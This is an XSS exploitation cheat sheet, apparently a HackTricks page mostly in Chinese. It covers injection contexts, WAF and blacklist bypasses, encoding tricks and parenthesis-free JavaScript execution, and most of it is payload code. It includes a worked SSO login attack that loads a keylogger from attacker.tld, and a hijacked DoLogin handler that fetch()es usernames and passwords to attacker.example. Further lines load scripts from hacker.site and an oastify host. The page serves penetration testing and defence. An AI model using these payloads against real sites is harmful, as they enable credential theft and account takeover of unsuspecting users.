XSS (Cross Site Scripting)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

方法论

  1. 检查是否有 any value you control (parameters, path, headers?, cookies?) 被 reflected 在 HTML 中或被 usedJS 代码里。
  2. 找出被反射/使用的上下文
  3. 如果是 reflected
  4. 检查 你可以使用哪些符号,并据此准备 payload:
  5. raw HTML 中:
  6. 你能创建新的 HTML tags 吗?
  7. 你能使用支持 javascript: 协议的 events 或 attributes 吗?
  8. 你能 bypass protections 吗?
  9. HTML 内容是否被任何 client side JS 引擎(AngularJS, VueJS, Mavo…)解释?如果是,可以滥用 Client Side Template Injection
  10. 如果你无法创建执行 JS 的 HTML tags,是否可以滥用 Dangling Markup - HTML scriptless injection
  11. HTML tag 内部
  12. 你能 escape 到 raw HTML 上下文吗?
  13. 你能创建新的 events/attributes 来执行 JS 吗?
  14. 你被困住的 attribute 是否支持 JS 执行?
  15. 你能 bypass protections 吗?
  16. JavaScript code 内部:
  17. 你能 escape <script> tag 吗?
  18. 你能 escape 字符串并执行不同的 JS 代码吗?
  19. 你的输入是否在 template literals `` 中?
  20. 你能 bypass protections 吗?
  21. Javascript functionexecuted
  22. 你可以指示要执行的函数名。例如:?callback=alert(1)
  23. 如果是 used
  24. 你可能利用 DOM XSS,注意你的输入如何被控制以及你的 controlled input 是否被任何 sink 使用。

在处理复杂的 XSS 时,你可能会想了解:

Debugging Client Side JS

Reflected values

要成功利用 XSS,首先需要找到一个被 你控制且被反射 在网页中的值。

  • Intermediately reflected:如果你发现某个参数甚至 path 的值被反射在网页中,你可能可以利用 Reflected XSS
  • Stored and reflected:如果你发现一个你控制的值被服务器保存并且每次访问页面时都会被反射,你可能可以利用 Stored XSS
  • Accessed via JS:如果你发现一个你控制的值被 JS 访问,你可能可以利用 DOM XSS

Contexts

在尝试利用 XSS 时,首先要知道 你的输入被反射在哪里。根据上下文,你可以用不同方式执行任意 JS 代码。

Raw HTML

如果你的输入被 反射在 raw HTML 页面中,你需要滥用某些 HTML tag 来执行 JS 代码:<img , <iframe , <svg , <script … 这些只是可以使用的众多 HTML tags 之一。
此外,注意 Client Side Template Injection

Inside HTML tags attribute

如果你的输入被反射在 tag 的 attribute 值内,你可以尝试:

  1. 从 attribute 和 tag 中跳出(这样你会进入 raw HTML),然后创建新的 HTML tag 来滥用:"><img [...]
  2. 如果你可以从 attribute 中跳出但不能从 tag 中跳出> 被编码或删除),则根据 tag 的不同你可以创建一个 event 来执行 JS:" autofocus onfocus=alert(1) x="
  3. 如果你不能从 attribute 中跳出" 被编码或删除),那么取决于你的值被反射在哪个 attribute 内、你是控制整个值还是只是部分,你会有不同的滥用方式。例如,如果你控制一个像 onclick= 的 event,你就能让它在点击时执行任意代码。另一个有趣的例子是 href attribute,你可以使用 javascript: 协议来执行任意代码:href="javascript:alert(1)"
  4. 如果你的输入被反射在“无法利用的标签”内部,你可以尝试 accesskey 技巧来滥用漏洞(需要某种社会工程学来触发):" accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

一个 corporate SSO login 页面将 OAuth 的 service 参数反射在 <a id="forgot_btn" ...>href attribute 内。尽管 <> 被 HTML 编码了,但双引号没有被编码,所以攻击者可以关闭属性并重用相同元素注入 handlers,例如 " onfocus="payload" x="

  1. 注入 handler: 简单的 payload 如 onclick="print(1)" 被阻挡,但 WAF 只检查 inline attribute 中的第一条 JavaScript 语句。通过在前面加上一个用括号包裹的无害表达式,然后加上分号,允许真正的 payload 执行:onfocus="(history.length);malicious_code_here"
  2. 自动触发: 浏览器会在 fragment 与元素 id 匹配时 focus 该元素,因此在 exploit URL 后追加 #forgot_btn 会在页面加载时强制该 anchor 获取焦点并运行 handler,无需点击。
  3. 保持 inline stub 很小: 目标站点已经包含 jQuery。handler 只需通过 $.getScript(...) 启动请求,而完整的 keylogger 放在攻击者的服务器上。

不使用引号构造字符串

单引号被以 URL-encoded 形式返回且转义的双引号会破坏属性,因此 payload 使用 String.fromCharCode 生成每个字符串。一个辅助函数可以很容易地将任何 URL 转换为字符码,然后再粘贴到属性中:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

生成的属性如下:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

为什么这会窃取凭证

外部脚本(从攻击者控制的主机或 Burp Collaborator 加载)挂钩了 document.onkeypress,缓冲按键,并每秒执行 new Image().src = collaborator_url + keys。因为 XSS 只在未认证用户触发,所以敏感动作就是登录表单本身——攻击者会 keylogs 用户名和密码,即使受害者从未按下 “Login”。

Weird example of Angular executing XSS if you controls a class name:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

在 JavaScript 代码内部

在这种情况下,你的输入会被反射到 HTML 页面中的 <script> [...] </script> 标签之间、.js 文件内,或在使用 javascript: 协议的属性内:

  • 如果被反射在 <script> [...] </script> 标签之间,即使你的输入位于任何形式的引号内,你也可以尝试注入 </script> 并从该上下文中跳出。 这是因为 浏览器会先解析 HTML 标签 然后解析内容,因此它不会注意到你注入的 </script> 标签位于 HTML 代码内部。
  • 如果被反射在 JS 字符串内部,且上一个技巧无效,你需要退出字符串,执行你的代码并重建 JS 代码(如果有任何错误,则不会被执行:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • 如果被反射在模板字面量中,你可以使用 ${ ... } 语法 嵌入 JS 表达式var greetings =Hello, ${alert(1)}
  • Unicode encode 可以用于书写 valid javascript code
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting 指的是在使用之后再 声明函数、变量或类的机会,以便你可以滥用那些 XSS 使用未声明变量或函数的场景。
更多信息请查看以下页面:

JS Hoisting

Javascript Function

许多网页的端点会接受作为参数的要执行函数名。在实际中常见的一个例子是:?callback=callbackFunc

判断用户直接提供的内容是否被尝试执行的一个好方法是修改该参数的值(例如为 ‘Vulnerable’)并在 console 中查看类似的错误:

如果存在漏洞,你可能能通过发送该值来触发一个 alert?callback=alert(1)。然而,这类端点非常常见会验证内容,只允许字母、数字、点和下划线([\w\._])。

然而,即便有此限制,仍然可以执行某些操作。这是因为你可以使用这些合法字符来访问 DOM 中的任何元素

一些有用的函数有:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

你也可以尝试直接触发 Javascript 函数obj.sales.delOrders

然而,通常执行所指函数的 endpoints 并不包含太多有趣的 DOM,同源的其他页面会有一个更有趣的 DOM来执行更多操作。

因此,为了在不同的 DOM 中滥用此漏洞,开发了 Same Origin Method Execution (SOME) 利用方法:

SOME - Same Origin Method Execution

DOM

存在 JS 代码 不安全地使用了一些 由攻击者控制的数据,例如 location.href。攻击者可以滥用此来执行任意 JS 代码。

DOM XSS

Universal XSS

这类 XSS 可以在任何地方被发现。它们不仅依赖于对 web 应用的客户端利用,而是与任何****上下文相关。这类任意 JavaScript 执行甚至可以被滥用以获取 RCE、在客户端和服务器上读取任意文件,等等。
一些示例

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

当你的输入被反射到HTML 页面内部,或你可以在该上下文中转义并注入 HTML 代码时,首先需要检查你是否可以滥用 < 来创建新标签:尝试反射字符并检查它是否被HTML 编码删除,还是原样反射只有在最后一种情况你才能利用此情形
对于这些情况还要记住Client Side Template Injection
注意:HTML 注释可以通过以下方式闭合****-->****或 **--!>****

在这种情况下,如果没有使用黑/白名单过滤,你可以使用类似以下的 payloads:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

但是,如果使用了 tags/attributes 的黑/白名单,你需要 brute-force 哪些 tags 可以创建。
一旦你 定位到被允许的 tags,你需要在已发现的有效 tags 内 brute-force attributes/events,以查看如何利用上下文进行攻击。

Tags/Events brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Custom tags

如果没有找到任何有效的 HTML tag,你可以尝试 create a custom tag,并使用 onfocus 属性执行 JS 代码。在 XSS 请求中,你需要在 URL 末尾添加 # 以使页面 focus on that objectexecute 代码:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

如果某种 blacklist 被使用,你可以尝试用一些小花招来 bypass 它:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

长度绕过(小型 XSSs)

[!NOTE] > 更多针对不同环境的 tiny XSS payload 可在此处找到此处.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

最后一个使用了 2 个 unicode 字符,展开为 5 个:telsr
More of these characters can be found here.
To check in which characters are decomposed check here.

Click XSS - Clickjacking

If in order to exploit the vulnerability you need the 用户点击链接或表单(带预填数据)you could try to abuse Clickjacking (if the page is vulnerable).

Impossible - Dangling Markup

If you just think that it’s impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could 利用 the vulnerability without executing JS code.

在 HTML 标签内注入

在标签内/从属性值中转义

If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

样式事件

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

在属性内

即使你 无法从属性中跳出 (" 被编码或删除),根据 哪个属性 反射了你的值,以及你 是否控制整个值或只是部分,你仍然可以滥用它。例如,如果你控制像 onclick= 这样的事件,你就能在被点击时让它执行任意代码。
另一个有趣的 例子 是属性 href,你可以使用 javascript: 协议来执行任意代码:href="javascript:alert(1)"

通过 HTML 编码/URL 编码 在事件内绕过

HTML 标签属性值内的 HTML 编码字符 会在运行时被 解码。因此下面这样的写法是有效的(payload 为加粗部分): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

注意 任何形式的 HTML 编码 都有效

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

注意 URL encode 也可行:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

在 event 内部使用 Unicode 编码 绕过

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

属性内的特殊协议

你可以在某些位置使用协议 javascript:data:执行任意 JS code。有些会需要用户交互,有些则不需要。

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

可以注入这些协议的位置

一般来说 javascript: 协议可以 用于任何接受 href 属性的标签,并且可以用于 大多数 接受 src 属性 的标签(但不能用于 <img>

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

其他混淆技巧

在这种情况下,由于你处于属性内部,上一节中的 HTML encoding 和 Unicode encoding 技巧也同样有效。

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

此外,对于这些情况还有一个不错的技巧即使你在 javascript:... 内的输入被 URL encoded,也会在执行之前被 URL decoded。所以,如果你需要从字符串转义出来,使用单引号,并且你看到它正在被 URL encoded,请记住这并不重要,它会在执行时被解释单引号

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

注意,如果你尝试 同时使用 URLencode + HTMLencode 以任意顺序对 payload 进行编码,它 不会 起作用,但你可以 在 payload 内部混合使用它们

使用 Hex 和 Octal 编码 与 javascript:

你可以在 iframesrc 属性(至少)中使用 HexOctal encode 来声明 HTML tags to execute JS

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

如果你可以在任意 <a href= 标签中注入任意 URL,并且该标签包含 target="_blank" and rel="opener" 属性,请查看下面的页面以利用此行为:

Reverse Tab Nabbing

on 事件处理程序绕过

首先查看此页面 (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) 以获取有用的 “on” event handlers
如果有某些黑名单阻止你创建这些 event handlers,你可以尝试以下绕过方法:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

参见 here 现在可以滥用 hidden inputs:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

并且在 meta tags

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

来自 here: 你可以执行一个 XSS payload inside a hidden attribute,前提是你能说服victim按下相应的按键组合。在 Firefox Windows/Linux 上按键组合是 ALT+SHIFT+X,在 OS X 上是 CTRL+ALT+X。你可以通过在 access key attribute 中使用不同的键来指定不同的按键组合。攻击向量如下:

<input type="hidden" accesskey="X" onclick="alert(1)">

The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="

黑名单绕过

Several tricks with using different encoding were exposed already inside this section. 请返回学习可以在哪里使用:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

阅读 Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

阅读 JavaScript bypass blacklist of the following section.

CSS-Gadgets

如果你在网页的很小部分发现了一个XSS,且它需要某种交互(比如页脚中的一个带 onmouseover 的小链接),你可以尝试修改该元素占据的空间,以最大化触发该链接的概率。

例如,你可以在元素中添加一些样式,例如: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

但如果 WAF 过滤了 style 属性,你可以使用 CSS Styling Gadgets,例如如果你发现:

.test {display:block; color: blue; width: 100%}

#someid {top: 0; font-family: Tahoma;}

现在你可以修改我们的链接,使其变为如下形式

<a href=“” id=someid class=test onclick=alert() a=“”>

这个技巧来自 https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

注入到 JavaScript 代码中

在这种情况下,你的输入会被反射进 .js 文件的 JS 代码,或者插入到 <script>...</script> 标签之间,或插入到可以执行 JS 的 HTML 事件中,或插入到接受 javascript: 协议的属性中。

转义 <script> 标签

如果你的代码被插入在 <script> [...] var input = 'reflected data' [...] </script> 中,你可以很容易地逃逸出 <script> 标签

</script><img src=1 onerror=alert(document.domain)>

注意,在这个示例中我们甚至还没有关闭单引号。这是因为HTML parsing is performed first by the browser,其过程包括识别页面元素(包括 script 块)。对 JavaScript 的解析以理解并执行嵌入的脚本是在随后进行的。

JS 代码内部

如果 <> 被过滤,你仍然可以在你的输入被定位的地方转义字符串执行任意 JS。重要的是要修复 JS 语法,因为如果有任何错误,JS 代码将不会被执行:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

当用户输入落在被引号包裹的 JavaScript 字符串内时(例如,server-side echo into an inline script),你可以终止该字符串、注入代码,然后修复语法以保持解析有效。通用模板:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

当易受攻击的参数被反射到 JS 字符串中时的示例 URL 模式:

?param=test";<INJECTION>;a="

这会在不需要接触 HTML 上下文的情况下执行攻击者的 JS(纯 JS-in-JS)。当过滤器屏蔽关键字时,可与下面的 blacklist bypasses 结合使用。

模板字符串 ``

为了构造 字符串,除了单引号和双引号外,JS 也接受 反引号 ``。这被称为模板字符串,因为它们允许使用 ${ ... } 语法嵌入 JS 表达式
因此,如果你发现你的输入被反射到使用反引号的 JS 字符串中,你可以滥用 ${ ... } 语法来执行任意 JS 代码

这可以通过以下方式滥用

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

编码的代码执行

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

可交付的 payloads:eval(atob()) 与作用域细微差异

为了缩短 URL 并绕过简单的关键字过滤,你可以将真实逻辑进行 base64 编码,然后用 eval(atob('...')) 来执行它。 如果简单的关键字过滤会屏蔽像 alertevalatob 这样的标识符,可以使用 Unicode 转义的标识符,它们在浏览器中编译结果相同,但能规避基于字符串匹配的过滤:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

重要的作用域细节:const/leteval() 内声明时是块作用域的,不会创建全局变量;它们对后续脚本不可访问。需要时,使用动态注入的 <script> 元素来定义全局、不可重新绑定的 hooks (e.g., to hijack a form handler):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

参考:https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode 编码 JS 执行

alert(1)
alert(1)
alert(1)

JavaScript 绕过黑名单技巧

字符串

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

特殊转义

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

在 JS 代码中的空格替换

<TAB>
/**/

JavaScript 注释 (来自 JavaScript Comments 技巧)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (来自 JavaScript new line 技巧)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript 空白字符

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript 在注释中

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

无需括号的 JavaScript

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

任意函数(alert)调用

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

